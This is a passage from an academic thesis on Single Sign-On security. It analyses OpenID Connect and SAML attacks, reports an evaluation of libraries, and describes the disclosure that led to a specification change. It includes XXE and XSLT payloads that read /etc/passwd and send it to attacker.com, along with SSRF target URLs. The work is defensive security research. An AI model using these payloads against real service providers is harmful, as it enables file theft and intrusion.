//192.168.0.1/, the SP will concatenate it with .well-known/configuration
before requesting the URL. This leads to a different Path that is requested.
To circumvent this restriction, the attacker can instead change the value of the
tokenEndp in the Configuration Discovery. The tokenEndp is requested by the
SP in Phase 3.
As a result of this attack, the attacker can scan the Intranet of a company,

or invoke web service in a REST manner. The attacker can also use different
protocols, for example, file://, smb://, or ftp:// to extend his attack surface.

121

http://192.168.0.1/shutdown
http://192.168.0.1/
http://192.168.0.1/
.well-known/configuration
file://
smb://
ftp://


3 Single Sign-On Security

3.8.3.5 Malicious Endpoints attack: Denial-of-Service Attacks

DoS attacks allocate large amount of resources such as CPU and memory on
the SP. By this means, the SP performance is slowed down or even renders it
inaccessible for a specific time.
The idea of the DoS attack variant is comparable to the idea of XML Entity

Expansion DoS: we enforce the victim, for instance, the SP, to download large
resources and store them into its memory.
Execution. The attack is executed similar to the SSRF variant. The malicious
IdP uses the Discovery in Phase 1. It returns endpoints pointing to larges files,
for example, a Linux DVD image or a Video available on the web. Comparable
to SSRF, the tokenEndp is one simple possibility to achieve the goal and allocate
resources. Once the SP uses the endpoint, it starts to download the file. This
is problematic due to two aspects. First, the file is large and thus needs lot of
memory to temporarily store it. Second, the time to download the file blocks
the SP for this time, for example, it keeps a TCP connection open. This means
that even if the file to download is not large, a slow download server can block
the SP.
We evaluated this attack on an Apache Tomcat with 1280 MB memory and

4x2.4 Ghz CPU. The result is depicted in Figure 3.16. One can easily see
the increased memory consumption that are caused by the attack. The SP
downloads a Linux DVD Image with 3.7 GB on each login attempt. The SP
was not accessible after 60 seconds for any further requests.

(a) No attack. (b) Malicious Endpoints DoS attack.

Figure 3.16: Comparison of Malicious Endpoints DoS attack with normal usage.
The pictures show the memory usage on the SP within 5 parallel logins. On
the left-hand side, no attack is executed. On the right-hand side, we use the
Discovery to point to a large file (in this case, we used a Debian Linux image
file with 3.7 GB).

3.8.3.6 Malicious Endpoints attacks without Discovery and Dynamic
Registration

The previously presented Malicious Endpoints attacks require that the targeted
SP supports Discovery and Dynamic Registration. Even if this optional OpenID
Connect feature is not supported, the attacks are feasible, but with less elegance.
In this case, the attacker must manually register the endpoints that are necessary
for the attack on the SP. Figure 3.17 shows an example how we configured
Drupal for the broken End-User attack.
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Figure 3.17: Configuring the Malicious Endpoints attack manually on Drupal.
The authEndp is set to Google, while the tokenEndp is on the malicious IdP.

3.8.3.7 Implementation Flaw: Issuer Confusion (Cat B)

Issuer Confusion is a novel attack on OpenID Connect classified as Cat B. The
core idea of the attack is to use the malicious IdP and convince the SP to be
the honest IdP (instead of the malicious IdP) during the Discovery in Phase
1. This confusion allows the malicious IdP to create tokens in the name of the
honest IdP in Phase 3 that the SP accepts. The Issuer Confusion attack is an
advanced form of IDS, but it takes place in Phase 1 and Phase 3 of the protocol.
Prerequisites. The SP supports Issuer and Configuration Discovery. If only
Configuration Discovery is supported, the attack might be applicable as well.
This depends on the SP implementation.

Attacker SP IdPA IdPV

ID Server confEndp authEndp tokenEndp Not Used(1.) Login Request: attacker@IdPA
(2.) Issuer Discovery: href = IdPA

(3.) Attack Core in Configuration Discovery: issuer= IdPV
Verify: issuer = href?

(4.) Token Request

(5.) Token Response

(6.) Vulnerability in Token Redemption: t = {. . . , iss = IdPV , sub = victim, . . .}
Verify: iss = issuer?

(7.) Success?

Phase 1:
Trust
Establishment

Phase 2:
Token
Generation

Phase 3:
Token
Redemption

Figure 3.18: Issuer Confusion Cross-Phase Attack: the attacker uses his mali-
cious IdP to store the wrong issuer on the SP in Phase 1. In Phase 3, it issues
an SSO token containing the identity of the victim.

Execution. The Issuer Confusion attack is depicted in Figure 3.18. Before we
describe the attack step by step, please note that there are three relevant pa-
rameters (href, issuer, iss) that are related to each other in the protocol flow.
We indicate this with the blue line. Although the specification uses different
names for these parameters, the SP must assert that they have the same values:
the identity of the IdP issuing the SSO tokens. In the attack, we change this
value from the malicious IdP to the honest IdP and abuse a missing verification
step in order to get a Cat B attack. In detail, the Issuer Confusion attack works
as follows:
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(1.) The attacker starts a login on the SP with an identity belonging to the
malicious IdP.

(2.) In Phase 1, the SP starts the Issuer Discovery on the malicious IdP, which
returns the parameter href. The value of href is the URL of the malicious
IdP.

(3.) Next, the SP starts the Configuration Discovery. The confEndp is deter-
mined by using the href parameter. The malicious IdP then returns its
configuration. This configuration includes the issuer parameter that rep-
resents the identity of the IdP. Here the core of the attack takes place: the
issuer parameter contains the identity of the honest IdP, although it is
returned by the malicious IdP. Once the SP receives the response, it must
verify if the issuer parameter equals the previously discovered href pa-
rameter. If this verification step is missing, or implemented insufficiently,
an Issuer Confusion attack is feasible.

(4.) Phase 2 begins. The SP creates the Token Request as usual. The attacker
is redirected to its malicious IdP.

(5.) The malicious IdP creates the Token Response. We skip the details here
for simplicity. The attacker forwards the Token Response to the SP.

(6.) Phase 3 begins, once the SP receives the Token Response. The token is
redeemed on the malicious IdP, which creates the SSO token. The SSO
token contains the identity of the End-User and the victim sets it to the
victim’s one. When the SP receives it, it must verify that the therein
contained iss parameter equals the issuer parameter from Phase 1.

(7.) The Issuer Confusion attack is successful if the SP accepts the token.

To summarize the attack, the concept is similar to IDS. For example, when
regarding Step 6 only, this is an IDS attack. In contrast to the IDS attack
would be detected, if the SP verifies whether iss equals issuer. To bypass
this verification step, the Issuer Confusion attack makes use of Phase 1 and
abuses the missing verification step there (issuer equals href). This Cross-
Phase Attack works only due to the combination of manipulations in Phase 1
and Phase 3.

3.8.4 Research Result: Specification Change in OpenID Connect

As a result of our research, the OpenID Connect specification will be changed
to prevent our Cross-Phase Attacks.
We contacted the OpenID Connect working group in October 2014 after find-

ing the specification flaw. They did unfortunately not respond and further
contact attempts also failed. After one year, the IETF OAuth working group
surprisingly contacted us. They told us that our attacks could be applied to
OAuth as well (which was a parallel work of a different research group [61]). In
a special invitation-only meeting, we discussed our attacks and different miti-
gation techniques with the OAuth working group and we helped to create an
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update for the OAuth and the OpenID Connect specification to circumvent the
attacks [115]. The proposed change binds the different protocol phases to each
other which was abused by the Cross-Phase Attacks.
More technically, the Token Response is enriched by a further parameter: the

issuer. This simple extension allows an SP to verify which IdP (“ issuer)
has created the Token Response. In this way, the SP can stop sending sensitive
information to the malicious IdP.

3.8.5 Implementing a Malicious IdP: PrOfESSOS

We implemented a Practical Offensive Evaluation of Single Sign-On Services
(PrOfESSOS). PrOfESSOS is our open source proof-of-concept OpenID Connect
malicious IdP [242]. It operates as an Evaluation-as-a-Service (EaaS), which
enables an easy-to-use verification of any OpenID Connect implementation. For
PrOfESSOS, we extended our design of OpenID Attacker to enhance usability
and flexibility while covering a more complex SSO protocol.
In the following, we give a brief overview on the design of PrOfESSOS. We

here only highlight some interesting aspects and refer for the general description
to OpenID Attacker (Section 3.7.4) and to our paper “SoK: Single Sign-On
Security – An Evaluation of OpenID Connect” for more details [134].

3.8.5.1 Complexity

The implementation of PrOfESSOS was much more complex than the imple-
mentation of a malicious IdP on OpenID. This is reasoned in the higher protocol
complexity of OpenID Connect. The most important aspects for this are the
supported flows and the Discovery.
Flows. In OpenID Connect, there are multiple flows defined: code, implicit,

and hybrid. The flows differ in the used messages and their parameters. More
importantly, there are SSO tokens that are verified using a server component
(e.g., PHP or Java), but in the implicit and the hybrid flows, the token can
also be verified using a client-side component (e.g., JavaScript). This means
that one single SP can have multiple OpenID Connect implementations (the
JavaScript component is distributed by the SP). All of them have to be verified.
This increases the scope of a library evaluation as well as its complexity.
Discovery. The Discovery in OpenID Connect is split into two parts: Issuer

and Configuration Discovery. In addition to that, the latter one can distribute
much more parameters than any Discovery in a previous SSO protocol. We
showed this by presenting two different attacks (Issuer Confusion and Malicious
Endpoints attacks) that make use of different parameters within the Discovery
to achieve the goals. This means that its influence on the other phases is much
higher.

3.8.5.2 Evaluation-as-a-Service

We implemented PrOfESSOS as service to improve the development of OpenID
Connect libraries with respect to security. To reach this goal, we decided to move
from a desktop application (like OpenID Attacker) to an EaaS. This means that
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PrOfESSOS itself is a web application. The penetration tester or developer who
wants to use it, simply visits the website and can evaluate the SP implemen-
tation. We also offer a web service interface for PrOfESSOS, so that it can be
called automatically from a build-cycle. This enables an easy integration into
a software development lifecycle and the development of an OpenID Connect
library can be continuously tested with each new version.
At the time of writing this thesis, we are collaborating with the IETF OAuth

and OpenID Connect working groups to integrated PrOfESSOS into the official
certification process.

3.8.5.3 Fully-Automatic Mode

Similar to OpenID Attacker, we implemented a fully-automatic testing mode
for PrOfESSOS. We decided to design PrOfESSOS with high flexibility for the
penetration tester.
The workflow for testing an SP implementation using PrOfESSOS is as fol-

lows: The penetration tester visits PrOfESSOS’s website. In the background,
PrOfESSOS creates two instances of IdPs. One simulates the malicious IdP, one
the honest IdP (similar to OpenID Attacker). These two IdPs must be created
on-the-fly because we want to enable parallel tests with PrOfESSOS on different
SPs that must not interfere with each other. This is necessary for an EaaS.
The penetration tester enters the URL of the SP that he wants to tests.

PrOfESSOS starts a login attempt on it and tries to detect the login form. If it
cannot find the form, PrOfESSOS shows an error message and the penetration
tester can, for example, use a Selenium script to simulate the login. The reason
for this was a recent research paper by Yuchen Zhou [246] which had problems
in finding a login button on an SP automatically.
After the successful login, PrOfESSOS tries to determine the identity of the

currently logged in user. It looks for information representing the user’s identity
on the website, for example, an email. The simplest possibility is that the
websites contains the identity information from the SSO token. If PrOfESSOS
cannot determine the identity, an error is presented to the penetration tester.
In that case, he can provide a URL where this information can be found, for
example, a link to the End-User’s profile website. In addition, the penetration
tester can provide a search string that is used to determine the identity.
Next, PrOfESSOS starts further login attempts, but this time, with invalid

SSO tokens. This is necessary so that it learns some errors that could also occur
during attack attempts.
After that, PrOfESSOS can (1.) determine if a login attempt was successful

and (2.) determine the identity of the currently logged in End-User.
Finally, PrOfESSOS runs our previously presented Single-Phase Attacks and

Cross-Phase Attacks. It uses the metric above to determine if the End-User is
successfully authenticated and if the victim’s identity is used. PrOfESSOS gen-
erates a report containing all HTTP requests/responses and additional screen-
shots as proof.
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Library ID
Spoof-
ing

Wrong
Recipi-
ent

Replay Signa-
ture

Bypass

Issuer
Con-
fusion

Specifica-
tion
Flaws

Cat B Cat A Cat A Cat B Cat B Cat A
mod_auth_openidc X X X Vuln. X Vuln.
MITREid Connect X X X X X Vuln.
oidc-client Vuln. Vuln. Vuln. X Vuln. Vuln.
phpOIDC Vuln. Vuln. Vuln. Vuln. Vuln. Vuln.
DrupalOpenIDConnect Vuln. Vuln. Vuln. Vuln. Vuln. Vuln.
pyoidc Vuln. Vuln. Vuln. Vuln. X Vuln.
Ruby OpenIDConnect X X X X X Vuln.
Apache Oltu X X Vuln. Vuln. X Vuln.
Total 4/8 4/8 5/8 5/8 3/8 8/8

Table 3.5: Security analysis results of officially referenced SPs libraries. Only 2 of
8 (25%) libraries implemented all required verification steps properly. Legend.
Secure/Attack fails: X; Insecure/Attack successful: Vuln..

3.8.6 Library Evaluation

Using our SSO Attacker Paradigm, we started an evaluation of existing OpenID
Connect libraries. At the time of writing our paper, 12 open source libraries were
officially referenced on the OpenID Connect website [222]. They are written in
different programming languages including C, C#, Java, PHP, Python, and
Ruby. Please note that the list is rapidly growing. The website also listed 11
commercial products, for example, Amazon and Microsoft Azure and 18 tools
allowing JSON-based operations like encrypting or signing. We excluded them.
Initially, we provided a manual analysis as proof-of-concept of our analyzing

methodology and attacks as well as a benchmark to recognize false results during
the development of PrOfESSOS.
Setup. We took all 12 listed libraries under investigation. We then started by
systematically documenting the features that each SP library supports. This in-
cludes (1.) a list of supported flows (code, implicit, hybrid). (2.) Cryptographic
operations (e.g., is public key cryptography supported?). (3.) Additional fea-
tures (e.g., Discovery, Dynamic Registration). As a result, we excluded 4 li-
braries because they did not offer a full SP functionality. These libraries are
intended to be used as a foundation to build an SP from scratch. They do not
offer a proper session management, for instance, we cannot deploy the library,
start a login procedure, and determine the identity of the currently logged in
End-User. Since this is essential for our attacks to decide whether they were
successful or not, we did not test them.
The remaining 8 libraries all support the usage of a malicious IdPs which

enables us to use PrOfESSOS to evaluate their security. Interestingly, 6 of
them support Discovery and Dynamic Registration. Thus, no pre-configuration
or manual steps are required in order to test them. To be able to test Dru-
palOpenIDConnect and Apache Oltu, we need to configure and register them
manually on our IdPs.
Results. Table 3.5 presents the results of our security evaluation. All tested
SPs are vulnerable to the specification flaws: IdP Confusion and Malicious End-
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points attacks. This was an expected results because even an implementation
following the specification strictly is vulnerable. Excluding the specification
flaw vulnerabilities, 6 out of 8 implementations were vulnerable to at least one
attack. MITREidC Connect and Ruby OpenIDConnect were not vulnerable to
any implementation flaw. The implementation mod_auth_openidc only had a
Signature Bypass vulnerability in the code flow. All other implementations had
multiple vulnerabilities.
We were surprised by the large number of Replay attacks that we could con-

duct. 5 out of 8 implementations were vulnerable. Replay attacks are a very
simple and well-understood problem and the verification of the corresponding
parameters is addressed clearly in the OpenID Connect specification. The same
holds for the Wrong Recipient attack. Here we had 4 vulnerabilities. One ex-
planation for the existence of so many simple implementation flaws could be
that, although the specification addresses the necessary steps, it does not tell
the developer why these steps are necessary.
We also identified 3 implementations vulnerable to the Issuer Confusion Cross-

Phase Attack.
All findings have been reported and communicated to the developers. We

also helped them to the fix the issues. The main problem that we had in this
context was to explain to a developer exactly what precise verification step was
missing. This is an issue that we want to address with PrOfESSOS.
Automated Analysis with PrOfESSOS. Our first analysis of the OpenID
Connect libraries was manual. The main downside here was that we could not
reevaluate an implementation easily, for example, after a developer had fixed a
bug. To address this problem, we developed PrOfESSOS. With PrOfESSOS, a
reevaluation is possible within a few minutes. This includes simple Single-Phase
Attacks, but also covers complex Cross-Phase Attacks.

3.8.7 Summary

The concept of Single-Phase Attacks and Cross-Phase Attacks can be applied
to OpenID Connect. By systematically analyzing the protocol using the SSO
Attacker Paradigm, we identified multiple attacks. Among them, the IdP Confu-
sion and Malicious Endpoints attacks have the biggest research impact because
the attacks break the current OpenID Connect specification. This means that
all implementations following the specification precisely are nevertheless vulner-
able. Our collaboration with the IETF OAuth and OpenID Connect working
groups resulted in a specification change. With the help of PrOfESSOS we hope
to improve the quality of implementations with respect to security.

3.9 SAML

Software-as-a-Service (SaaS) is a concept to deploy software on an SP instead
of installing it on multiple End-User machines. By this means, SaaS enables
a good scalability and maintainability. In this section, we present a security
evaluation of 22 Software-as-a-Service Cloud Providers (SaaS-CPs) supporting
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the Security Assertion Markup Language (SAML) SSO protocol [192]. We could
circumvent the security in 20 of them. Since SAML is based on XML, some
attacks presented in Sections 2.1 and 2 could be applied and reinvestigated.
In this section, we first explain the SAML-based SSO protocol and elucidate

the usage of malicious IdP in SAML. We then use our attack classification to
categorize Single-Phase Attacks and Cross-Phase Attacks. Next, our testing
methodology is described. Finally, we present the results of our large-scale
SaaS-CP study and give a conclusion.
The results of this section are based on our paper “Your Software at My

Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud” [129].

3.9.1 Technical Background

For a better understanding of the attacks on SAML, we briefly describe the
SAML protocol and the SAML token here. Readers familiar with SAML can
safely skip this part.

3.9.1.1 Protocol

User UA SP IdP

(1.) Login Request

(2.) Manual or SAML Discovery

(3.) Token Request: SAMLRequest

(4.) Authentication

(5.) Token Response: SAMLResponse

(6.) Artifact Resolution Protocol

(7.) Success?

Phase 1:
Trust Establishment

Phase 2:
Token Generation

Phase 3:
Token Redemption

Figure 3.19: A typical SAML login only uses Phase 2.

The protocol flow of a SAML-based SSO login is less complex in comparison to
OpenID and OpenID Connect. A general overview was given in Section 3.2.2.1
and is depicted in Figure 3.19. For the attacks presented in this section, it is
important to highlight that SAML typically only supports one SSO protocol
phase: Token Generation.
Phase 1 (Trust Establishment) is not part of the SAML core specification [192].

A Discovery in SAML is currently supported as a draft [180], but we could not
find any SaaS-CP implementing it. In SAML, trust is typically established
manually. By way of example, the administrator of the SP uploads trusted key
material belonging to the IdP.
Phase 3 (Token Redemption) is supported in SAML by means of the SAML

Artifact Resolution Protocol [192, Section 3.5], but in our study we could not
identify any SaaS-CP that supported this feature.
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saml:Response

saml:Assertion

saml:Subject

Bob

saml:Conditions

timestamp

recipient = SPID

ds:Signature

ds:KeyInfo

Cert

ID=”111”

Ref=”111”

Figure 3.20: An example of a SAML token.

3.9.1.2 SAML Token

The SAML token is generated by the IdP and returned in the Token Re-
sponse, where it is transferred as a Base64 [98] encoded HTTP POST parameter
SAMLResponse. XML is used for describing and formatting the SAML SSO to-
ken. One example of a possible token is depicted in Figure 3.20. It contains the
following classes of information:

Identity. The identity of the End-User is represented by the <saml:Subject>
element [192, Section 2.4.1]. It can be an email address or any other unique
identifier. The value of this element is used to log in the End-User to the
SP.

Freshness. Nonce and timestamps contained in the token ensure its freshness.
SAML offers different parameters for this purpose, which we will discuss
in the Replay attack (Section 3.9.3.1).

Recipient. To describe the identity of the SP that is intended to consume the
token, a SAML token must define its recipient. Similar to freshness, mul-
tiple parameters can be used for this purpose. We discuss them in the
Wrong Recipient attack (Section 3.9.3.2).

Cryptography. A SAML token typically protected by an XML Signature [79].
The <ds:Signature> element is a child of the <saml:Assertion> or of
the <saml:Response> element.14

3.9.2 SSO Attacker Paradigm: Malicious IdPs in SAML

SAML does not belong to the open SSO protocols. Therefore, it does not
support an on-the-fly Trust Establishment (Phase 1).

14Please note that the Response element has a different namespace than the Assertion element,
but in this thesis, we simplified this fact for readability reasons.
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The question arises whether a malicious IdP as described in the SSO Attacker
Paradigm can be used for SAML implementations. For answering this question,
we must distinguish between analyzing and exploiting SAML SSO.
Analyzing SAML. The study on SAML SaaS-CPs described in this section
was conducted by implementing a malicious SAML IdP. The trust between our
malicious IdP and the SaaS-CP was established manually, which means that we
visited an administrative website on the provider and basically entered the URL
of the IdP and its certificate. Thus, we could use our own IdP in general.
We then configured our malicious IdP to behave maliciously. For example, it

creates expired SSO tokens so that we could analyze any SAML implementation.
Nevertheless, this kind of manipulation must not be counted as an exploit in a
real-life scenario.
Exploiting SAML. Using the malicious IdP, we can simply detect security
issues in SAML implementations. This includes libraries and SaaS-CPs if the
trust can be established manually. For exploiting the found vulnerabilities, we
cannot use a malicious IdP. Remember the Salesforce example explained in the
introduction of a malicious IdP (cf. Figure 3.3 in Section 3.4): even if we can
apply a malicious IdP to our own Salesforce domain, it is not able to interfere
with the other domains.
Analyzing and Exploiting SAML. In this section, we used the SSO Attacker
Paradigm including a malicious IdP to analyze SaaS-CPs and thus to detect
security vulnerabilities. The main benefit is an easy and fast implementation
evaluation in comparison to manual testing. For the exploitation, we describe
the attacks according to Cat A and Cat B as in OpenID and OpenID Connect.
But in SAML, we have one additional category:

§ Category AB (Cat AB) attacks are between Cat A and Cat B attacks. In
Cat A attacks, the attacker needs an interaction by the victim or he had
access to an SSO token for a limited time (e.g., a former employee), but in
both cases, the result of a successful attack is the access to single account
on the SP. Attacks belonging to Cat AB have the same requirements once,
but then enable to get access to multiple accounts.

A typical example of a Cat AB attack is XML Signature Wrapping (XSW).
The attacker needs access to a valid signature once and can then compromise
arbitrary accounts on the SP.

3.9.3 Single-Phase Attacks on SAML

In the following, we present Single-Phase Attacks on SAML. Please note that
we here show how to apply the generic concept of the corresponding attack as
described in Section 3.5 to SAML. We thus skip to describe the general attack
concept again for reasons for clarity.

3.9.3.1 Replay (Cat A)

An SSO token in SAML offers different nonce and timestamp parameters to pro-
vide freshness. Considering that reusing tokens is optional [190, Section 6.4.4],
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the validation of parameters such as nonces is not taken as critical. Contrary,
the SSO token should have the shortest possible validity period [190, Section
6.4.1]. This highlights the importance of verifying timestamps. A miss leads to
tokens having an extended or even infinite lifetime once issued.
The parameters of a SAML token targeted by Replay attacks are:

§ The timestamp attributes NotOnOrAfter and NotBefore.
They can be used, for example, in the element <saml:Conditions> or the
element <saml:SubjectConfirmationData>.

§ The timestamp attribute IssueInstant.
It can be used, for example, in the element <saml:Response> and in the
element <saml:Assertion>.

§ The nonce used in the InResponseTo attribute.
It can be used, for example, in the element <saml:Response> and the
element <saml:SubjectConfirmationData>.

§ The <saml:OneTimeUse/> element.

Since there are lot of different freshness parameters, preventing Replay attacks
is not as simple in SAML as in other SSO protocols. The SP must ensure
that all relevant parameters are verified properly and that they are additionally
protected by a signature. Otherwise, the attacker can update the values easily.
Replay attacks can be simply detected by using a malicious IdP: in the Token

Response, the IdP either sets invalid/expired values for timestamp parameters,
or it reuses nonce values.
Replay attacks belong to Cat A: the attacker needs access to an expired token

that was previously used by the victim. A special variant of Replay attacks is
given if the attacker uses his own SSO token, for example, the attacker is a
former employee and reuses his own token. Another possibility for an attacker
to get into possession of a victim’s SAML token is by searching web forums.
This was shown, for example, in a previous SAML study [206].
Once the attacker has the expired token, he can reuse it and send it to the

SP to get access to the victim’s resources.

3.9.3.2 Wrong Recipient (Cat A)

The SSO token in SAML is restricted to a specific SP. This is enabled by the
recipient information contained in each SAML token. If this information is not
verified by the SP, we can conduct a Wrong Recipient attack.
The parameters of a SAML token in targeted by Wrong Recipient attacks are:

§ The element <saml:Audience>.

§ The attribute Destination in the <saml:Response> element.

§ The attribute Recipient in the <saml:SubjectConfirmationData>.
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Wrong Recipient attacks can be easily detected using a malicious IdP. In the
Token Response, the malicious IdP sets the recipient information to an arbitrary
value that does not represent the target SP. If the SSO token is accepted, the
Wrong Recipient attack is applicable. For a detailed description, please refer to
the analogous attack on OpenID described in Section 3.7.2.2. To exploit Wrong
Recipient attacks, the victim must interact with the attacker and thus, Wrong
Recipient is classified as Cat A.

3.9.3.3 Signature Bypass: XML Signature Wrapping (Cat AB)

saml:Response

saml:Assertion

saml:Subject

Bob

saml:Conditions

ds:Signature

ds:KeyInfo

ID=”111”

Ref=”111”

Protected by Signature

(a) Original SAML token.

saml:Response

saml:Assertion

saml:Subject

Admin

saml:Conditions

ds:Signature

ds:KeyInfo

saml:Assertion

saml:Subject

Bob

saml:Conditions

ID=”999”

ID=”111”

Ref=”111”

Protected by Signature

(b) Modified XSW token.

Figure 3.21: XSW attack: the attacker gets in possession of a signed SSO token
(a). He modifies it without invalidating the signature by copying the signed
content to another position (b).

A SAML token is typically protected by an XML Signature. Technically,
the SAML specification defines a reference to the signed content using the ID
attribute [192, Section 5.4]. This allows to protect parts of or the whole token.
In 2004 and 2005 the XSW attack on SOAP-based web services has been

first described [16, 17, 137]. The idea of the attack was to rewrite the XML
structure in a way that the signature validation logic and the application logic
use different parts of the XML document during processing. Generally spoken,
the originally signed content has been copied and moved to a different location
within the same XML document, while the original content could be arbitrarily
modified.
In 2012 Somorovsky et al. [206] adapted the attack concept to SAML-based

SSO and could break the authentication on 11 out of 14 tested systems. Fig-
ure 3.21 shows a typical example of an XSW attack on a SAML token. Fig-
ure 3.21a depicts a cryptographically signed SAML token. It may have been
already used and timestamps can potentially be expired. In Figure 3.21b, one
variant of XSW has been applied: the originally signed <saml:Assertion> el-
ement has been copied to the end of the <saml:Response> element by the
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attacker.15 The attacker then modifies the original content by changing the
identity information from Bob to Admin. He can also update timestamps and
nonces. The XSW attack is successful if the SSO token is accepted by the SP
and the End-User is authenticated with the Admin account. For a more precise
description and variants of XSW on SAML, we refer to Somorovsky et al. [206].
The given example clarifies that the XSW attack belongs to Cat AB. First,

the attacker needs access to a valid SAML token, which means that the vic-
tim’s interaction is necessary. This is the requirement for Cat A attacks. Once
the attacker applies the XSW attack successfully, he can impersonate arbitrary
identities. This is the impact of a Cat B attack. Consequently, this combina-
tion makes XSW a Cat AB attack. There is one exception: if the attacker has
its own account on the SP, for example, he is an employee, he can use its own
SAML token to conduct the XSW attack. Then XSW may be counted as Cat B.
For the detection of XSW attacks, the attacker can use his malicious IdP to

create a SAML token in the Token Response as usual. He then successively
applies XSW variants. For this purpose, we extracted the XSW library of WS-
Attacker and modified it to be able to work with SAML tokens.

3.9.3.4 Signature Bypass: Signature Exclusion (Cat B)

The idea of the Signature Exclusion (SigH) attack during which the signature
verification logic is bypassed by means of not providing a signature in the SSO
token. According to the SAML specification [192, Section 5.1], the signing of
the token is optional.

saml:Response

saml:Assertion

saml:Subject

Admin

saml:Conditions

timestamp

recipient = SPID

ds:Signature

ds:KeyInfo

ID=”111”

Ref=”111”

Figure 3.22: In a SigH attack, the attacker removes the whole <ds:Signature>
element from the SAML token. He can then arbitrarily change the unprotected
identity information.

The SigH attack is in Figure 3.22. The attacker simply removes the <ds:Signature>
element from the token. Commonly, the <ds:Signature> element is a child of
the <saml:Assertion> element, which it concurrently protects. Another com-
mon use case is that the <ds:Signature> element is a child of the <saml:Response>

15The <ds:Signature> element is removed by the attacker because of the Enveloped Signature
Transformation [79, Section 6.6.4].
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element and thus protects the whole SAML token. Even a combination of both
variants is possible in highly secure scenarios.
If the SP accepts a SAML token without any signature, we have a Cat B

attack. The attacker therefor changes the identity information to the victim’s
one.
Using a malicious IdP, the SigH attack can be easily detected. The attacker

configures it to not sign the SSO token in the Token Response. In contrast to
the previous attacks, the SigH attack can also be exploited using the malicious
IdP. Omitting the signature results in no trust enforcement in the token. The
attacker can use his malicious IdP to create the token and send it to the SP.

3.9.3.5 Signature Bypass: Certificate Faking (Cat B)

Certificate Faking (CF) is an attack in which the attacker creates its own key
to sign the SSO token. The XML Signature standard that is used for signing
a SAML token allows to include a <ds:KeyInfo> element. It can contain any
information to identify the key that must be used to verify the signature of the
token. One possibility is to directly include the public key. If the SP uses the
<ds:KeyInfo> information blindly without any trust verification, the attacker
can create valid signatures for any token and we have a Cat B attack.

saml:Response

saml:Assertion

saml:Subject

Admin

saml:Conditions

timestamp

recipient = SPID

ds:Signature

ds:KeyInfo

evilCert

ID=”111”

Ref=”111”

Figure 3.23: The SAML token is signed with an untrusted key. If the key stored
in the token is used for the verification without validating the trust relationship
to it, CF is applicable.

The attacker can use his malicious IdP to detect the CF vulnerability as shown
in Figure 3.23. In the Token Response, the attacker creates a key and uses it to
sign the token. The corresponding public key is then embedded in, for example,
a certificate in the <ds:KeyInfo> element. The attacker can additionally imitate
all certificate metadata like the name of the honest IdP. If the token is accepted
by the SP, the attacker can authenticate as an arbitrary End-User to the SP.
Similar to the SigH attack, the CF attack can also be exploited using a malicious
IdP.
To prevent the CF attack, the SP must verify the authenticity of the token as
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described in [190, Section 4.4.2]. This basically means that the SP must verify
whether the token was signed by a trusted IdP.

3.9.3.6 Parsing: XML External Entity (Cat B)

We showed in Section 2.1 that XML has a feature called DTD. It allows to define
the document’s structure, but also offers additional features that can be abused
for attacks. In order to get access to unprotected resources on the SAML SP,
we can conduct a FSA by using XXE.
We depict the idea of the XXE attack in Listing 3.4. For the attacker, it

is not necessary to create a real SAML SSO token. It is sufficient to create a
well-formed XML [24, Section 2.1] document containing the attack vector. The
parser, which is the main target of this attack, is triggered before any validation
step. Once it starts to parse the token, it reads the file /etc/passwd from the
file system into the External Entity file. The External Entity send (Line 4) is
then used to transfer the file content to a server controlled by the attacker.

Listing 3.4: XXE attack vector.

1 <?xml version="1.0" encoding="utf -8"?>
2 <!DOCTYPE Response [
3 <!ENTITY file SYSTEM "/etc/passwd">
4 <!ENTITY send SYSTEM

"http:// attacker.com/?read=&file;">
5 ]>
6 <samlp:Response >
7 <attack >&send;</attack >
8 </samlp:Response >

Please note that Listing 3.4 only sketches the attack concept. It will not
work on most XML parsers because it is not allowed to use an External General
Entity (file) (Line 3) within another External General Entity (send). This is
a technical restriction and can be prevented as shown by Morgan [149, Section
Parameter Entities]. We additionally refer to our Blog Post [117] for more
details on detecting and exploiting XXE attacks on SAML.
If the SP is vulnerable to XXE, the attacker can read arbitrary files on the

SP and we do not need any interaction of the victim (Cat B). We refer to
Section 2.1.3 and to our paper “SoK: XML Parser Vulnerabilities” [209] where
we discuss limitations of this attack and how to cope with them. Our paper
additionally provides countermeasures for XML parsers in general. The attack
can be detected by using a malicious IdP which creates the payload in the
Token Response. Another possibility for detection is to manually create the
token containing the XXE payload and send it to the SP.

3.9.3.7 Parsing: Extensible Stylesheet Language Transformations (Cat B)

The Extensible Stylesheet Language Transformations (XSLT) is framework for
transforming XML documents into different formats, for example, into XML,
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JSON, and PDF [102]. XSLT can be used as a transformation in the XML
Signature [79, Section 6.6.5]. The transformation is then applied before the
signature is verified. This is important for attacks because the attacker can
enforce XSLT execution without the need to compute a valid signature.

saml:Response

saml:Assertion

saml:Subject

Bob

ds:Signature

ds:Transform

<xsl:stylesheet xmlns:xsl="...">

<xsl:template match="doc">

<xsl:variable name="file" select="unparsed -text(’/etc/passwd ’)"/>

<xsl:variable name="escaped" select="encode -for -uri($file)"/>

<xsl:variable name="attackerUrl" select="’http: // attacker.com/’"/>

<xsl:variable name="exploitUrl" select="concat ($ attackerUrl ,$ escaped)"/>

<xsl:value -of select="unparsed -text($ exploitUrl)"/>

</xsl:template >

</xsl:stylesheet >

Figure 3.24: XSLT payload reads the /etc/passwd file and forwards its content
to an attacker-controlled server.

Since XSLT is a Turing-complete programming language [163], it can be used,
for example, to get FSA or Remote Code Execution (RCE) on the machine
executing it. Figure 3.24 depicts an example of an FSA using XSLT in a SAML
token. The attack payload is placed in the <ds:Transform> element. It reads
the content of the file /etc/passwd into a variable file and then sends the content
as an HTTP GET request to an attacker-controlled server. In comparison to
the XXE attack, the XSLT payload must be placed within a valid SAML token.
Otherwise, the XML Signature is not validated and the transformation is not
executed.
The detection of the XSLT attack is similar to XXE. The attacker can use

his malicious IdP for creating a token or he crafts it manually. He then sends
it to the SP. As a countermeasure, the SP must disable XSLT processing. The
exploitation of the XSLT attack can be executed in the same manner as the
detection.

3.9.4 Cross-Phase Attacks on SAML

We identified one attack belonging to the class of Cross-Phase Attacks and
describe it below.

3.9.4.1 Certificate Injection (Cat AB)

Certificate Injection (CInj) is a Phase 1 to Phase 2 Cross-Phase Attack on
SAML. In SAML, there is usually no dynamic Trust Establishment in Phase 1
of the protocol. Consequently, these steps must be executed manually by the
administrator of the SP. Figure 3.25 shows a web interface in which all trust
settings can be configured. Most importantly, it shows an HTML form used to
